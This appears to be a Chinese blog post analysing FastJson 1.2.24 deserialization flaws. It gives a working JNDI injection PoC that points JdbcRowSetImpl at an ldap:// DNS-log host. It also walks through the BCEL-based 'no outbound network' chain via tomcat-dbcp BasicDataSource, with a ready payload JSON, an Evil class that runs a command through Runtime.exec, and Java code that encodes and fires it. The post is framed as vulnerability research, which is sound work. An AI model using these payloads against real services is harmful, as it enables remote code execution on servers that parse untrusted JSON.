fastjson-BCEL不出网打法原理分析

FastJson反序列化漏洞

与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将 JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。

fastjson用法:

1.将字符串转换为json格式,通过key获取value:

class jsonUser{
    public static void main(String[] args) {
        //正常使用将字符串转换成json格式,提取相关数据
        String s = "{\"name\":\"小红\",\"age\":\"18\"}";
        JSONObject jsonobject = (JSONObject) JSON.parse(s);
        System.out.println(jsonobject.get("name"));
    }}

小红

这么简单好用的一个功能为什么会出现漏洞?

2.将JSON还原成对象:

class User {
    private String id;

    User() {
        System.out.println("User go");
    }

    public void setId(String ids) {
        System.out.println("setId go");
        this.id = ids;
    }

    public String getId() {
        System.out.println("GetId go");
        return this.id;
    }
}

public class Fastjson {

            public static void main(String[] args) {
            User a = new User();
            String json = JSON.toJSONString(a);  //序列化 转为json
//            System.out.println(json);
            System.out.println(JSON.parseObject(json,User.class));  //反序列化 转为原始数据
        }
}

result:会自动调用 Get方法和构造方法。

在这里插入图片描述

fastjson漏洞产生原因:

public class Fastjson {
public static void main(String[] args) {
JSONObject jsonObject = JSON.parseObject({\"@type\":\"Java_deserialization.User\",\"id\":\"123\"}");
System.out.println(jsonObject);
            }
        }

result:会自动调用Get,Set,构造方法。

在这里插入图片描述

这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值{“@type”:“Java_deserialization.User”,“id”:“123”},其中@type后面跟进的就是我们所需要还原的对象(可控)后面跟进的id也就是这个类里面的属性,如果有一个fastjson反序列化点可控那么我们就可以随意指定一个恶意类,如果这个恶意类里面的构造方法或者Get,Set方法调用了恶意的方法那么就会造成反序列化漏洞。

fastjson什么时候会调用get方法?

细节就不调试了,感兴趣可以调试JavaBeanInfo.build() 里面的规则

● 只存在 getter 方法,无 setter 方法。

● 方法名称长度大于等于 4。

● 非静态方法。

● 方法名以 get 开头,且第四个字符为大写字母,例如 getAge。

● 方法无须入参。

● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和

AtomicLong 的其中一个。

fastjson1.2.24-JndI注入

Poc:

public class Fastjson {

          public static void main(String[] args) {
          System.out.println(JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                  "\"dataSourceName\":\"ldap://erh3yu.dnslog.cn\"," + "\"autoCommit\":\"true\"}"));
            }
        }

在这里插入图片描述

根据之前的分析,可以知道攻击者指定了一个类 @type:com.sun.rowset.JdbcRowSetImpl,然后给类里面的属性进行了赋值(就跟之前的id一样的),那么赋值以后就会调用对应的set方法,也许危险代码就在set方法里面:

1.调用set方法dataSourceName:

在这里插入图片描述

2.调用setAutoCommit方法:为什么是true?这里autoCommit是一个布尔值,你传false 或者0,1都可以。
在这里插入图片描述

会进入caonnect方法,危险方法就是这个connect:

3.connect方法:

在这里插入图片描述

熟悉Java的朋友就会知道这是一个Jndi注入点,其中里面的dataSourceName是可控的就是我们刚刚传入的ldap协议,这里就不过多的阐述ldap协议了,后面会单独的去做笔记。ldap协议属于jndi里面的一种可以远程动态加载其他服务器上面的资源,如果远程加载的对象可控那么我们就可以远程加载自己构建的恶意类。

4.这里我们跟进lookup看看:

在这里插入图片描述

5.getURLOrDefaultInitCtx方法:

在这里插入图片描述

这里会对我们传入的uri进行判断,判断是什么协议比如ldap,rmi等远程加载数据的协议。

fastjson1.2.24-BCEL不出网打法

刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启Feature.SupportNonPublicField,并且实际应用中其实不多见所以我们就介绍另外一种攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但在实际攻击中还算是比较常见的。

复现环境

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>
        </dependency>
// tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下

POC:

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b......"
}

这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。

分析:

正常使用BCEL:

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class fastjsonBcel {
    public static void main(String[] args) throws Exception {
        //不考虑fastjson情况就正常调用该类
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
        String code = Utility.encode(bytes,true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
        
        //将文件转为字节码数组
    public static byte[] fileToBinArray(File file){
        try {
            InputStream fis = new FileInputStream(file);
            byte[] bytes = FileCopyUtils.copyToByteArray(fis);
            return bytes;
        }catch (Exception ex){
            throw new RuntimeException("transform file into bin Array 出错",ex);
        }
    }

}
    
    //恶意类
    
    package Java_deserialization;

import java.lang.Runtime;
import java.lang.Process;

public class Evil {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

//javac Evil.java 转为.class,动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入的。

在这里插入图片描述

代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:

String code = Utility.encode(bytes,true);

我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看

在这里插入图片描述
在这里插入图片描述

可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足条件需要加上"$ $ BCEL$ $"相关的字符串才能绕过if判断。

在这里插入图片描述

成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。

tomcat-dbcp:

结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:

tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:

在这里插入图片描述

getConnection()方法在返回的时候会调用createDataSource()方法:

在这里插入图片描述

createDataSource()方法又会调用createConnectionFactory()方法,

在这里插入图片描述

问题代码:

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

正常BCEL的代码:

ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:

在这里插入图片描述

在这里插入图片描述

public class fastjsonBcel {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
        String code = Utility.encode(bytes,true);
        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.setDriverClassName("$$BCEL$$"+code);
        basicDataSource.getConnection();

    }

攻击链:

在这里插入图片描述

换成正常POC测试:

public class fastjsonBcel {
    public static void main(String[] args) throws Exception {
        byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
        String code = Utility.encode(bytes,true);
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(s);
    }

在这里插入图片描述

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值